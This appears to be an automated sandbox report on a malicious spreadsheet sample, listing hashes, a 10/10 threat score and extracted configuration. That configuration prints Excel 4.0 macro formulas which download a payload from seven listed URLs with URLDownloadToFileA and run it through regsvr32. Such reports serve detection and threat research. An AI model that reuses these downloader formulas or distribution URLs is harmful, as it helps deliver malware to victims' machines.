General
-
Target
0792cc7d54575cc60ae10e8c57a51c12c20b1dbe342c65a261d465b7851b7fe4
-
Size
35KB
-
Sample
241120-t6vewazfql
-
MD5
cf87972ccb799d7b185c8455b2a28d89
-
SHA1
f65eac2d49b99d7d3d14b108eacee95e8b7f1944
-
SHA256
0792cc7d54575cc60ae10e8c57a51c12c20b1dbe342c65a261d465b7851b7fe4
-
SHA512
5cedd7dc621be41c2c17fe28e07b4067fa10d7e58f93705830a1f096fac60128a07ae11302bfbc5fc3b7103c726b2b81ec3727134c8761a4f8a61b7f005348d0
-
SSDEEP
768:GFtT5eBvAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooo0+6:+tTghUOZZ1ZYpoQ/pMAz
Malware Config
Extracted
https://freebingpops.com/cgi-bin/DmVp7VBVEpHssN/
https://www.kinfri.com/licenses/3fKSJkZXZ3JH6dXWU/
https://globaltextiles.net/cgi-bin/7naWzYGRrrN/
https://cartoriogasparin.com.br/rosesq/gOfN6jvyRme/
https://junhe.media/wp-includes/VV2NZX242BnWCtYmV9N/
https://ibpcorp.org/wp-admin/zH1k6hEcWGHLDp/
https://ihmsswiss.ch/wp-admin/gUOq0e/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://freebingpops.com/cgi-bin/DmVp7VBVEpHssN/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.kinfri.com/licenses/3fKSJkZXZ3JH6dXWU/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://globaltextiles.net/cgi-bin/7naWzYGRrrN/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cartoriogasparin.com.br/rosesq/gOfN6jvyRme/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://junhe.media/wp-includes/VV2NZX242BnWCtYmV9N/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ibpcorp.org/wp-admin/zH1k6hEcWGHLDp/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ihmsswiss.ch/wp-admin/gUOq0e/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Extracted
https://freebingpops.com/cgi-bin/DmVp7VBVEpHssN/
https://www.kinfri.com/licenses/3fKSJkZXZ3JH6dXWU/
https://globaltextiles.net/cgi-bin/7naWzYGRrrN/
https://cartoriogasparin.com.br/rosesq/gOfN6jvyRme/
Targets
-
-
Target
0792cc7d54575cc60ae10e8c57a51c12c20b1dbe342c65a261d465b7851b7fe4
-
Size
35KB
-
MD5
cf87972ccb799d7b185c8455b2a28d89
-
SHA1
f65eac2d49b99d7d3d14b108eacee95e8b7f1944
-
SHA256
0792cc7d54575cc60ae10e8c57a51c12c20b1dbe342c65a261d465b7851b7fe4
-
SHA512
5cedd7dc621be41c2c17fe28e07b4067fa10d7e58f93705830a1f096fac60128a07ae11302bfbc5fc3b7103c726b2b81ec3727134c8761a4f8a61b7f005348d0
-
SSDEEP
768:GFtT5eBvAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooo0+6:+tTghUOZZ1ZYpoQ/pMAz
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-